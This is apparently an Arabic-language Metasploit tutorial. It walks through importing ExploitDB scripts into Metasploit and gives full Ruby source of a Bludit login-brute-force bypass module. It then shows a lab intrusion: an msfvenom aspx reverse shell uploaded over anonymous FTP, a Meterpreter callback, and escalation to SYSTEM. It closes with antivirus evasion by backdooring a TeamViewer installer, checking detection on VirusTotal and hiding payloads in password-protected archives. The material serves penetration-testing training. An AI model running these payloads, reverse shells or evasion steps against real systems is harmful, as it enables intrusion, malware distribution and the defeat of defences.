11-14 excellent Yes Nagios XI Magpie_debug.php Root Remote Code
Execution
4 exploit/linux/misc/nagios_nrpe_arguments 2013-
02-21 excellent Yes Nagios Remote Plugin Executor Arbitrary
Command Execution
5 exploit/unix/webapp/nagios3_history_cgi 2012-
12-09 great Yes Nagios3 history.cgi Host Command Execution
6 exploit/unix/webapp/nagios_graph_explorer 2012-
11-30 excellent Yes Nagios XI Network Monitor Graph Explorer
Component Command Injection
7 post/linux/gather/enum_nagios_xi 2018-
04-17 normal No Nagios XI Enumerationبس كود الـ exploit موجود في ExploitDB. وبدل المتصفح، استخدم نسخة الـ CLI: searchsploit.
searchsploit nagios3
--------------------------------------------------------------------------
------------------------------------------------------------------- ------
---------------------------
Exploit Title
| Path
--------------------------------------------------------------------------
------------------------------------------------------------------- ------
---------------------------
Nagios3 - 'history.cgi' Host Command Execution (Metasploit)
| linux/remote/24159.rb
Nagios3 - 'history.cgi' Remote Command Execution
| multiple/remote/24084.py
Nagios3 - 'statuswml.cgi' 'Ping' Command Execution (Metasploit)
| cgi/webapps/16908.rbNagios3 - 'statuswml.cgi' Command Injection (Metasploit)
| unix/webapps/9861.rb
--------------------------------------------------------------------------
------------------------------------------------------------------- ------
---------------------------
Shellcodes: No Resultsالملفات اللي بتخلص بـ .rb سكربتات Ruby، وغالبا مكتوبة خصيصا للاستخدام في msfconsole. وتقدر تفلتر على .rb بس. بس مش كل ملفات .rb بتبقى modules جاهزة: فيه exploits مكتوبة بـ Ruby من غير كود متوافق مع Metasploit.
searchsploit -t Nagios3 --exclude=".py"
--------------------------------------------------------------------------
------------------------------------------------------------------- ------
---------------------------
Exploit Title
| Path
--------------------------------------------------------------------------
------------------------------------------------------------------- ------
---------------------------
Nagios3 - 'history.cgi' Host Command Execution (Metasploit)
| linux/remote/24159.rb
Nagios3 - 'statuswml.cgi' 'Ping' Command Execution (Metasploit)
| cgi/webapps/16908.rb
Nagios3 - 'statuswml.cgi' Command Injection (Metasploit)
| unix/webapps/9861.rb
--------------------------------------------------------------------------
------------------------------------------------------------------- ------
---------------------------
Shellcodes: No Resultsنزل الـ .rb وحطه في المكان الصح. الفولدر الافتراضي لكل الـ modules والسكربتات والـ plugins:
/usr/share/metasploit-framework
وفيه symlinks في الـ home والـ root في ~/.msf4/.
ls /usr/share/metasploit-framework/
app db Gemfile.lock modules msfdbmsfrpcd msf-ws.ru ruby script-recon vendor
config documentation lib msfconsole msf-json-
rpc.ru msfupdate plugins script-exploit scripts
data Gemfile metasploit-framework.gemspec msfd msfrpc
msfvenom Rakefile script-password tools
ls .msf4/
history local logos logs loot modules plugins storeننسخ الملف للفولدر المناسب. لاحظ إن .msf4 في الـ home مش لازم يكون فيه نفس هيكل الفولدرات، فتعمل mkdir للفولدرات الناقصة عشان الهيكل يبقى زي الأصل وmsfconsole يلاقي الـ modules الجديدة. وبعدها ننسخ الـ .rb في المكان الأساسي.
فيه قواعد تسمية، ولو مش اتبعتت هتطلع errors والـ module مش هيتعرف. استخدم snake-case وحروف وأرقام وunderscores بدل الشرطات. مثال: nagios3_command_injection.rb
nagios3_command_injection.rb
our_module_here.rbcp ~/Downloads/9861.rb /usr/share/metasploit-
framework/modules/exploits/unix/webapp/nagios3_command_injection.rb
msfconsole -m /usr/share/metasploit-framework/modules/msf6> loadpath /usr/share/metasploit-framework/modules/أو شغل msfconsole واستخدم reload_all عشان الـ module الجديد يظهر. بعد ما الأمر ينفذ من غير errors، استخدم search [name] أو use [module-path] تدخل عليه مباشرة:
msf6 > reload_all
msf6 > use exploit/unix/webapp/nagios3_command_injection
msf6 exploit(unix/webapp/nagios3_command_injection) > show options
Module options (exploit/unix/webapp/nagios3_command_injection):
Name Current Setting Required Description
---- --------------- -------- -----------
PASS guest yes The password to
authenticate with
Proxies no A proxy chain of
format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s),
range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port
(TCP)
SSL false no Negotiate SSL/TLS
for outgoing connections
URI /nagios3/cgi-bin/statuswml.cgi yes The full URI path to
statuswml.cgi
USER guest yes The username to
authenticate with
VHOST no HTTP server virtual
host
Exploit target:
Id Name
-- ----
0 Automatic Targetدلوقتي جاهز تشغله على الهدف.
عشان تحول سكربت exploit مكتوب بـ Python أو PHP أو أي لغة لـ Ruby module، محتاج تتعلم Ruby. ولاحظ إن modules Metasploit بتتكتب دايما بـ hard tabs.
مش لازم تبدأ من الصفر: خد module موجود من نفس الفئة وعدله لسكربتك. وحافظ على تنظيم الـ modules المخصصة عشان انت وغيرك تلاقوها بسهولة.
مثال: Bludit 3.9.2 - Authentication Bruteforce Mitigation Bypass. نزل السكربت 48746.rb وانسخه في:
/usr/share/metasploit-framework/modules/exploits/linux/http/
لو فتحت msfconsole دلوقتي هتلاقي exploit واحد بس لـ Bludit CMS في نفس الفولدر - تأكيد إن سكربتك لسه مش متحول. والخبر الحلو إن الـ exploit الموجود ده هيبقى الـ boilerplate بتاعك.
ls /usr/share/metasploit-framework/modules/exploits/linux/http/ | grep
bludit
bludit_upload_images_exec.rb
cp ~/Downloads/48746.rb /usr/share/metasploit-
framework/modules/exploits/linux/http/bludit_auth_bruteforce_mitigation_by
pass.rbفي أول الملف اللي نسخناه هتلاقي include statements (الـ mixins اللي اتكلمنا عنها)، ولازم تغيرها للمناسب لـ module بتاعك. ولمعرفة الـ mixins والـ classes والـ methods الصح، ارجع لـ rubydoc بتاع Rapid7.
كتير هتقابل شبكات مبنية بكود خاص، والـ modules الجاهزة مش هتعمل حاجة في الـ perimeter، ومش هتقدر تفحص أو توثق الهدف بأي أداة عندك. هنا تيجي فايدة Ruby وكتابة module بنفسك. التوثيق الكامل في صفحة Metasploit Framework على Rubydoc.info: من scanners لـ auxiliary tools، ومن exploits مخصصة لمحولة، الكتابة بـ Ruby مهارة عملية جدا.
شوف الـ module المشابه اللي هيبقى boilerplate: Bludit Directory Traversal Image File Upload Vulnerability، المتستورد بالفعل في msfconsole. بص على كل الـ fields قبل الـ POC. الكود في الـ snippet مش متعدل عشان مشروعك، ده snapshot من الـ module الموجود، والمعلومات لازم تتغير حسب مشروعك.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE
include Msf::Exploit::FileDropper
include Msf::Auxiliary::Reportبص على الـ include statements واعرف كل واحد بيعمل إيه من توثيق Rapid7:
| Function | Description |
|---|---|
| Msf::Exploit::Remote::HttpClient | Methods for acting as an HTTP client when exploiting an HTTP server. |
| Msf::Exploit::PhpEXE | Method for generating a first-stage php payload. |
| Msf::Exploit::FileDropper | Transfers files and handles file clean-up after a session is established. |
| Msf::Auxiliary::Report | Methods for reporting data to the MSF DB. |
من الأغراض دي نستنتج إننا مش محتاجين FileDropper، ونشيله من الكود النهائي.
وفيه أقسام مخصصة لصفحة info بتاعة الـ module وقسم الـ options. نمليها بالشكل الصح: credit لللي اكتشف الـ exploit، معلومات الـ CVE، وباقي التفاصيل.
def initialize(info={})
super(update_info(info,
'Name' => "Bludit Directory Traversal Image File Upload
Vulnerability",
'Description' => %q{
This module exploits a vulnerability in Bludit. A remote user
could abuse the uuid
parameter in the image upload feature in order to save a malicious
payload anywhere
onto the server, and then use a custom .htaccess file to bypass
the file extension
check to finally get remote code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'christasa', # Original discovery
'sinn3r' # Metasploit module
],
'References' =>
[
['CVE', '2019-16113'],
['URL', 'https://github.com/bludit/bludit/issues/1081'],
['URL',
'https://github.com/bludit/bludit/commit/a9640ff6b5f2c0fa770ad7758daf24fec
6fbf3f5#diff-6f5ea518e6fc98fb4c16830bbf9f5dac' ]
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Notes' =>
{
'SideEffects' => [ IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ]
},
'Targets' =>
[
[ 'Bludit v3.9.2', {} ]
],
'Privileged' => false,
'DisclosureDate' => "2019-09-07",
'DefaultTarget' => 0))بعد ما نخلص معلومات التعريف العامة، ننقل لمتغيرات الـ options:
register_options(
[
OptString.new('TARGETURI', [true, 'The base path for Bludit',
'/']),
OptString.new('BLUDITUSER', [true, 'The username for Bludit']),
OptString.new('BLUDITPASS', [true, 'The password for Bludit'])
])
endفي الـ exploit بتاعنا محتاجين wordlist بدل متغير BLUDITPASS عشان الـ module يعمل bruteforce لكلمات السر لنفس المستخدم:
OptPath.new('PASSWORDS', [ true, 'The list of passwords',
File.join(Msf::Config.data_directory, "wordlists",
"passwords.txt") ])باقي كود الـ exploit لازم يتظبط حسب الـ classes والـ methods والمتغيرات المستخدمة في التحويل للإطار عشان الـ module يشتغل. النسخة النهائية:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE
include Msf::Auxiliary::Report
def initialize(info={})
super(update_info(info,
'Name' => "Bludit 3.9.2 - Authentication Bruteforce
Mitigation Bypass", 'Description' => %q{
Versions prior to and including 3.9.2 of the Bludit CMS are
vulnerable to a bypass of the anti-brute force mechanism that is in place
to block users that have attempted to login incorrectly ten times or more.
Within the bl-kernel/security.class.php file, a function named getUserIp
attempts to determine the valid IP address of the end-user by trusting the
X-Forwarded-For and Client-IP HTTP headers.
},
'License' => MSF_LICENSE,
'Author' =>
[
'rastating', # Original discovery
'0ne-nine9' # Metasploit module
],
'References' =>
[
['CVE', '2019-17240'],
['URL', 'https://rastating.github.io/bludit-brute-force-
mitigation-bypass/'],
['PATCH', 'https://github.com/bludit/bludit/pull/1090' ]
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Notes' =>
{
'SideEffects' => [ IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ]
},
'Targets' =>
[
[ 'Bludit v3.9.2', {} ]
],
'Privileged' => false,
'DisclosureDate' => "2019-10-05",
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path for Bludit',
'/']),
OptString.new('BLUDITUSER', [true, 'The username for Bludit']),
OptPath.new('PASSWORDS', [ true, 'The list of passwords',
File.join(Msf::Config.data_directory, "wordlists",
"passwords.txt") ])
])
end
# -- Exploit code -- #
# dirty workaround to remove this warning:# Cookie#domain returns dot-less domain name now. Use Cookie#dot_domain
if you need "." at the beginning.
# see https://github.com/nahi/httpclient/issues/252
class WebAgent
class Cookie < HTTP::Cookie
def domain
self.original_domain
end
end
end
def get_csrf(client, login_url)
res = client.get(login_url)
csrf_token = /input.+?name="tokenCSRF".+?value="
(.+?)"/.match(res.body).captures[0]
end
def auth_ok?(res)
HTTP::Status.redirect?(res.code) &&
%r{/admin/dashboard}.match?(res.headers['Location'])
end
def bruteforce_auth(client, host, username, wordlist)
login_url = host + '/admin/login'
File.foreach(wordlist).with_index do |password, i|
password = password.chomp
csrf_token = get_csrf(client, login_url)
headers = {
'X-Forwarded-For' => "#{i}-#{password[..4]}",
}
data = {
'tokenCSRF' => csrf_token,
'username' => username,
'password' => password,
}
puts "[*] Trying password: #{password}"
auth_res = client.post(login_url, data, headers)
if auth_ok?(auth_res)
puts "\n[+] Password found: #{password}"
break
end
end
end
#begin
# args = Docopt.docopt(doc)
# pp args if args['--debug']
#
# clnt = HTTPClient.new
# bruteforce_auth(clnt, args['--root-url'], args['--user'], args['--#wordlist'])
#rescue Docopt::Exit => e
# puts e.message
#endلو عايز تتعمق في تحويل السكربتات، شوف كتاب Metasploit: A Penetration Tester's Guide من No Starch Press، وفيه blog posts من Rapid7 عن الموضوع.
MSFVenom هو خليفة MSFPayload وMSFEncode، أداتين كانوا شغالين مع msfconsole لعمل payloads قابلة للتخصيص وصعبة الكشف. زمان كنت لازم تعمل pipe (|) لنتيجة MSFPayload (بتولد shellcode لمعمارية ونظام معين) جوه MSFEncode (فيه أنظمة encoding لإزالة bad characters، وللـ evasion من الـ AV وIPS/IDS القديم).
دلوقتي الأداتين مدموجين: بتعمل payloads بسرعة لمعماريات وإصدارات مختلفة، وبتنظف الـ shellcode عشان ما يطلعش errors. أما الـ AV evasion فبقى أصعب بكتير: التحليل بالتوقيعات بس انتهى، والـ heuristic analysis والـ machine learning والـ deep packet inspection بتصعب إن payload يعدي كذا iteration من encoding. في سكشن الـ Payloads، payload بسيط بنفس الإعداد اتكشف بنسبة 52/65.
سيناريو: لقيت FTP port مفتوح بـ weak credentials أو anonymous login بالغلط، والـ FTP مربوط بـ web service على tcp/80 في نفس الجهاز، وكل ملفات الـ FTP root بتظهر في /uploads على الويب، ومفيش أي checks على اللي ينفع تشغله. يعني تقدر ترفع PHP shell من الـ FTP وتفتحه من الويب فيشغل الـ payload ويرجعلك reverse TCP connection.
nmap -sV -T4 -p- 10.10.10.5
<SNIP>
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
80/tcp open http Microsoft IIS httpd 7.5
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windowsftp 10.10.10.5
Connected to 10.10.10.5.
220 Microsoft FTP Service
Name (10.10.10.5:root): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: ******
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
03-18-17 02:06AM <DIR> aspnet_client
03-17-17 05:37PM 689 iisstart.htm
03-17-17 05:37PM 184946 welcome.png
226 Transfer complete.لاحظنا aspnet_client، يعني الجهاز يقدر يشغل .aspx reverse shells، وmsfvenom بيعمل ده بسهولة:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=1337 -f
aspx > reverse_shell.aspx
[-] No platform was selected, choosing Msf::Module::Platform::Windows from
the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of aspx file: 2819 bytes
ls
Desktop Documents Downloads my_data Postman PycharmProjects
reverse_shell.aspx Templatesدلوقتي بس نفتح http://10.10.10.5/reverse_shell.aspx ويشغل الـ payload. قبلها لازم نشغل listener في msfconsole عشان الـ reverse connection يتصاد:
msfconsole -q
msf6 > use multi/handler
msf6 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf6 exploit(multi/handler) > set LHOST 10.10.14.5
LHOST => 10.10.14.5
msf6 exploit(multi/handler) > set LPORT 1337LPORT => 1337
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.14.5:1337نشغل الـ .aspx من الويب. الصفحة هتفضل فاضية، بس الـ multi/handler هيستقبل اتصال. لازم نتأكد إن ملف .aspx مفيهوش HTML عشان تبان صفحة فاضية؛ الـ payload بيتنفذ في الخلفية على أي حال.
<...SNIP...>
[*] Started reverse TCP handler on 10.10.14.5:1337
[*] Sending stage (176195 bytes) to 10.10.10.5
[*] Meterpreter session 1 opened (10.10.14.5:1337 -> 10.10.10.5:49157) at
2020-08-28 16:33:14 +0000
meterpreter > getuid
Server username: IIS APPPOOL\Webmeterpreter >
[*] 10.10.10.5 - Meterpreter session 1 closed. Reason: Diedلو الـ Meterpreter session بتموت كتير، جرب تعمل encoding للـ payload لتفادي errors وقت التشغيل. أي encoder مناسب هيحسن فرص النجاح.
فيه module اسمه Local Exploit Suggester. هنستخدمه هنا لأن الـ Meterpreter shell نزل على user IIS APPPOOL\Web وصلاحياته قليلة. وأمر sysinfo بيبين إن النظام x86، وده سبب إضافي نثق في الـ suggester.
msf6 > search local exploit suggester
<...SNIP...>
2375 post/multi/manage/screenshare
normal No Multi Manage the screen of the target meterpreter
session
2376 post/multi/recon/local_exploit_suggester
normal No Multi Recon Local Exploit Suggester
2377 post/osx/gather/apfs_encrypted_volume_passwd
2018-03-21 normal Yes Mac OS X APFS Encrypted Volume Password
Disclosure
<SNIP>
msf6 exploit(multi/handler) > use 2376
msf6 post(multi/recon/local_exploit_suggester) > show options
Module options (post/multi/recon/local_exploit_suggester):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this
module on
SHOWDESCRIPTION false yes Displays a detailed
description for the available exploitsmsf6 post(multi/recon/local_exploit_suggester) > set session 2
session => 2
msf6 post(multi/recon/local_exploit_suggester) > run
[*] 10.10.10.5 - Collecting local exploits for x86/windows...
[*] 10.10.10.5 - 31 exploit checks are being tried...
[+] 10.10.10.5 - exploit/windows/local/bypassuac_eventvwr: The target
appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms10_015_kitrap0d: The service is
running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms10_092_schelevator: The target
appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms13_053_schlamperei: The target
appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms13_081_track_popup_menu: The
target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms14_058_track_popup_menu: The
target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms15_004_tswbproxy: The service is
running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms15_051_client_copy_image: The
target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms16_016_webdav: The service is
running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms16_075_reflection: The target
appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ntusermndragover: The target
appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ppr_flatten_rec: The target appears
to be vulnerable.
[*] Post module execution completedاختار واحد من النتايج وجربه، ولو مش صالح انتقل للي بعده: مش كل الفحوصات دقيقة 100%. هنا bypassauc_eventvwr فشل لأن IIS user مش في admin group (متوقع)، والتاني ms10_015_kitrap0d نجح:
msf6 exploit(multi/handler) > search kitrap0d
Matching Modules
================ # Name Disclosure Date Rank
Check Description
- ---- --------------- ---- ---
-- -----------
0 exploit/windows/local/ms10_015_kitrap0d 2010-01-19 great Yes
Windows SYSTEM Escalation via KiTrap0D
msf6 exploit(multi/handler) > use 0
msf6 exploit(windows/local/ms10_015_kitrap0d) > show options
Module options (exploit/windows/local/ms10_015_kitrap0d):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 2 yes The session to run this module on.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh,
thread, process, none)
LHOST tun0 yes The listen address (an interface
may be specified)
LPORT 1338 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows 2K SP4 - Windows 7 (x86)
msf6 exploit(windows/local/ms10_015_kitrap0d) > set LPORT 1338
LPORT => 1338
msf6 exploit(windows/local/ms10_015_kitrap0d) > set SESSION 3
SESSION => 3
msf6 exploit(windows/local/ms10_015_kitrap0d) > run
[*] Started reverse TCP handler on 10.10.14.5:1338
[*] Launching notepad to host the exploit...
[+] Process 3552 launched.
[*] Reflectively injecting the exploit DLL into 3552...
[*] Injecting exploit into 3552 ...
[*] Exploit injected. Injecting payload into 3552...
[*] Payload injected. Executing exploit...[+] Exploit finished, wait for (hopefully privileged) payload execution to
complete.
[*] Sending stage (176195 bytes) to 10.10.10.5
[*] Meterpreter session 4 opened (10.10.14.5:1338 -> 10.10.10.5:49162) at
2020-08-28 17:15:56 +0000
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEMnmap + FTP anonymous.msfvenom -p ... -f aspx وارفعه عبر FTP.multi/handler بنفس الـ payload وLHOST/LPORT..aspx من المتصفح.local_exploit_suggester للـ privesc.عشان نهاجم بكفاءة وهدوء لازم نفهم الأول إزاي الهدف مدافع عنه. فيه مصطلحين:
أي جهاز أو خدمة محلية غرضها الوحيد حماية host واحد: كمبيوتر شخصي، workstation، أو سيرفر في الـ DMZ. غالبا بتيجي كحزمة سوفتوير فيها Antivirus وAntimalware (bloatware، spyware، adware، scareware، ransomware) وFirewall وAnti-DDoS في package واحد. أمثلة: Avast وNod32 وMalwarebytes وBitDefender.
أجهزة فيزيقية أو virtualized على حافة الشبكة، بتدي وصول من بره (public) لجوه (private). بين المنطقتين أحيانا فيه منطقة تالتة DMZ: سياسة أمان أقل من الداخل، لكن trust أعلى من الإنترنت. فيها السيرفرات العامة اللي بتجيب وتدفع داتا للعملاء من الإنترنت، وبتتدار من الداخل وبتتحدث بالـ patches.
الـ security policies شبه الـ ACL (Access Control Lists): قايمة allow وdeny بتحدد إزاي يعدي traffic أو ملفات في حدود الشبكة. ممكن قوايم كتير على أجزاء مختلفة، وبتستهدف حاجات مختلفة:
كلها بتشتغل بنفس المبدأ: إدخالات allow وdeny، والفرق في الهدف اللي بتنطبق عليه. السؤال: إزاي نطابق الأحداث في الشبكة مع القواعد؟ فيه طرق كتير:
| Security Policy | Description |
|---|---|
| Signature-based Detection | The operation of packets in the network and comparison with pre-built attack patterns known as signatures. Any 100% match generates alarms. |
| Heuristic / Statistical Anomaly Detection | Behavioral comparison against an established baseline, including modus-operandi signatures for known APTs. Any deviation from the maximum threshold generates alarms. |
| Stateful Protocol Analysis Detection | Recognizing divergence of protocols via event comparison using pre-built profiles of generally accepted non-malicious activity. |
| Live-monitoring and Alerting (SOC-based) | A team of analysts in a SOC (Security Operations Center) use live-feed software to monitor network activity and alarming systems, deciding themselves or letting automated mechanisms act. |
أغلب الـ host-based anti-virus النهاردة معتمد على Signature-based Detection: التوقيعات جوه الـ AV Engine بتفحص التخزين والـ processes الشغالة. لما حاجة مجهولة تنزل وتتطابق، أغلب الـ AVs بتحجرها وتقتل الـ process.
الحل: نلعب معاهم. أمثلة سكشن الـ Encoders وضحت إن مجرد encoding بـ iterations كتير مش كفاية لكل المنتجات. وحتى مجرد فتح قناة اتصال بين المهاجم والضحية ممكن يرفع إنذارات في IDS/IPS.
مع MSF6، msfconsole بيعمل tunnel لاتصال AES-encrypted من أي Meterpreter shell للمهاجم، وده بيحل أغلب الـ network-based IDS/IPS. نادرا ممكن نلاقي rulesets صارمة بتفلج الاتصال بناء على IP المرسل؛ ساعتها الحل الوحيد نلاقي الخدمات اللي بتتسمح. مثال: Equifax 2017 - استغلوا ثغرة Apache Struts وسحبوا الداتا بـ DNS exfiltration ببطء لشهور من غير ما حد ياخد باله.
الـ AES tunnel + Meterpreter in-memory رفعوا قدرتنا، بس لسه مشكلة: الـ payload ملف قبل ما يتنفذ ويتحط في الذاكرة. ممكن يتبصم ويتطابق مع الداتابيز ويتحجب. ومطوري الـ AV بيراقبوا modules msfconsole ويضيفوا الملفات للتوقيعات، فأغلب الـ default payloads بتتقفل فورا.
msfvenom بيدعم executable templates: بتحقن الـ payload جوه أي executable (installer أو package أو برنامج)، وتخبي الـ shellcode جوه الكود الشرعي، وده بيخفي الكود الخبيث ويقلل فرص الكشف. النتيجة backdoored executable:
msfvenom windows/x86/meterpreter_reverse_tcp LHOST=10.10.14.2 LPORT=8080 -
k -x ~/Downloads/TeamViewer_Setup.exe -e x86/shikata_ga_nai -a x86 --
platform windows -o ~/Desktop/TeamViewer_Setup.exe -i 5
Attempting to read payload from STDIN...
Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 27 (iteration=0)
x86/shikata_ga_nai succeeded with size 54 (iteration=1)
x86/shikata_ga_nai succeeded with size 81 (iteration=2)
x86/shikata_ga_nai succeeded with size 108 (iteration=3)
x86/shikata_ga_nai succeeded with size 135 (iteration=4)
x86/shikata_ga_nai chosen with final size 135
Payload size: 135 bytes
Saved as: /home/user/Desktop/TeamViewer_Setup.exe
ls
Pictures-of-cats.tar.gz TeamViewer_Setup.exe Cake_recipesغالبا لما الهدف يشغل backdoored executable مفيش حاجة بتظهر، وده ممكن يثير شك. عشان نحسن: نخلي التطبيق الأصلي يكمل تشغيله العادي ويشتغل الـ payload في thread منفصل، بفلاج -k. بس حتى مع -k، لو الهدف شغل الـ template من CLI هتظهر نافذة منفصلة للـ payload ومش بتقفل لحد ما نخلص التفاعل مع الـ session.
عمل archive لأي ملف (file/folder/script/executable/صورة/مستند) ووضع password عليه بيتخطى توقيعات AV كتير النهاردة. العيب: بتظهر كـ notification في الـ AV dashboard إن الملف مش ممكن يتفحص لأنه مقفول بباسورد، والـ admin ممكن يفحصه يدوي.
msfvenom windows/x86/meterpreter_reverse_tcp LHOST=10.10.14.2 LPORT=8080 -
k -e x86/shikata_ga_nai -a x86 --platform windows -o ~/test.js -i 5
Attempting to read payload from STDIN...
Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 27 (iteration=0)
x86/shikata_ga_nai succeeded with size 54 (iteration=1)
x86/shikata_ga_nai succeeded with size 81 (iteration=2)
x86/shikata_ga_nai succeeded with size 108 (iteration=3)
x86/shikata_ga_nai succeeded with size 135 (iteration=4)
x86/shikata_ga_nai chosen with final size 135
Payload size: 135 bytes
Saved as: /home/user/test.js
cat test.js
ಽ+n"ಽಽಽಽt$ಽG4ɱ1zzಽಽjಽV6ಽಽಽಽicಽಽoಽBs>ಽಽZ*ಽಽಽಽಽ9vtಽಽ%ಽಽ1ಽ
<...SNIP...>
ಽQa*ಽಽಽنقيس baseline الكشف على VirusTotal:
msf-virustotal -k <API key> -f test.js
[*] WARNING: When you upload or otherwise submit content, you give
VirusTotal
[*] (and those we work with) a worldwide, royalty free, irrevocable and
transferable
[*] licence to use, edit, host, store, reproduce, modify, create
derivative works,
[*] communicate, publish, publicly perform, publicly display and
distribute such
[*] content. To read the complete Terms of Service for VirusTotal, please
go to the
[*] following link:
[*] https://www.virustotal.com/en/about/terms-of-service/
[*]
[*] If you prefer your own API key, you may obtain one at VirusTotal.
[*] Enter 'Y' to acknowledge: Y
[*] Using API key: <API key>
[*] Please wait while I upload test.js...
[*] VirusTotal: Scan request successfully queued, come back later for the
report
[*] Sample MD5 hash : 35e7687f0793dc3e048d557feeaf615a
[*] Sample SHA1 hash : f2f1c4051d8e71df0741b40e4d91622c4fd27309
[*] Sample SHA256 hash :
08799c1b83de42ed43d86247ebb21cca95b100f6a45644e99b339422b7b44105
[*] Analysis link: https://www.virustotal.com/gui/file/<SNIP>/detection/f-
<SNIP>-1652167047
[*] Requesting the report...
[*] Received code 0. Waiting for another 60 seconds...
[*] Analysis Report: test.js (11 / 59): <...SNIP...>
==========================================================================
==========================
Antivirus Detected Version Result
Update
--------- -------- ------- ------
------
ALYac true 1.1.3.1
Exploit.Metacoder.Shikata.Gen 20220510
AVG true 21.1.5827.0 Win32:ShikataGaNai-
A [Trj] 20220510
Acronis false 1.2.0.10820220426
Ad-Aware true 3.0.21.193
Exploit.Metacoder.Shikata.Gen 20220510
AhnLab-V3 false 3.21.3.10230
20220510
Antiy-AVL false 3.0
20220510
Arcabit false 1.0.0.889
20220510
Avast true 21.1.5827.0 Win32:ShikataGaNai-
A [Trj] 20220510
Avira false 8.3.3.14
20220510
Baidu false 1.0.0.2
20190318
BitDefender true 7.2
Exploit.Metacoder.Shikata.Gen 20220510
BitDefenderTheta false 7.2.37796.0
20220428
Bkav false 1.3.0.9899
20220509
CAT-QuickHeal false 14.00
20220510
CMC false 2.10.2019.1
20211026
ClamAV true 0.105.0.0
Win.Trojan.MSShellcode-6360729-0 20220509
Comodo false 34607
20220510
Cynet false 4.0.0.27
20220510
Cyren false 6.5.1.2
20220510
DrWeb false 7.0.56.4040
20220510
ESET-NOD32 false 25243
20220510
Emsisoft true 2021.5.0.7597
Exploit.Metacoder.Shikata.Gen (B) 20220510
F-Secure false 18.10.978.51
20220510
FireEye true 35.24.1.0
Exploit.Metacoder.Shikata.Gen 20220510
Fortinet false 6.2.142.0
20220510
GData true A:25.33002B:27.27300
Exploit.Metacoder.Shikata.Gen 20220510
Gridinsoft false 1.0.77.174
20220510
Ikarus false 6.0.24.020220509
Jiangmin false 16.0.100
20220509
K7AntiVirus false 12.12.42275
20220510
K7GW false 12.12.42275
20220510
Kaspersky false 21.0.1.45
20220510
Kingsoft false 2017.9.26.565
20220510
Lionic false 7.5
20220510
MAX true 2019.9.16.1 malware (ai
score=89) 20220510
Malwarebytes false 4.2.2.27
20220510
MaxSecure false 1.0.0.1
20220510
McAfee false 6.0.6.653
20220510
McAfee-GW-Edition false v2019.1.2+3728
20220510
MicroWorld-eScan true 14.0.409.0
Exploit.Metacoder.Shikata.Gen 20220510
Microsoft false 1.1.19200.5
20220510
NANO-Antivirus false 1.0.146.25588
20220510
Panda false 4.6.4.2
20220509
Rising false 25.0.0.27
20220510
SUPERAntiSpyware false 5.6.0.1032
20220507
Sangfor false 2.14.0.0
20220507
Sophos false 1.4.1.0
20220510
Symantec false 1.17.0.0
20220510
TACHYON false 2022-05-10.02
20220510
Tencent false 1.0.0.1
20220510
TrendMicro false 11.0.0.1006
20220510
TrendMicro-HouseCall false 10.0.0.1040
20220510
VBA32 false 5.0.020220506
ViRobot false 2014.3.20.0
20220510
VirIT false 9.5.191
20220509
Yandex false 5.5.2.24
20220428
Zillya false 2.0.0.4627
20220509
ZoneAlarm false 1.0
20220510
Zoner false 2.2.2.0
20220509دلوقتي نعمل archive مرتين، كل واحد بباسورد، ونشيل الامتداد .rar / .zip / .7z من الاسم. نثبت RAR utility من RARLabs (شغالة زي WinRAR):
wget https://www.rarlab.com/rar/rarlinux-x64-612.tar.gz
tar -xzvf rarlinux-x64-612.tar.gz && cd rar
rar a ~/test.rar -p ~/test.js
Enter password (will not be echoed): ******
Reenter password: ******
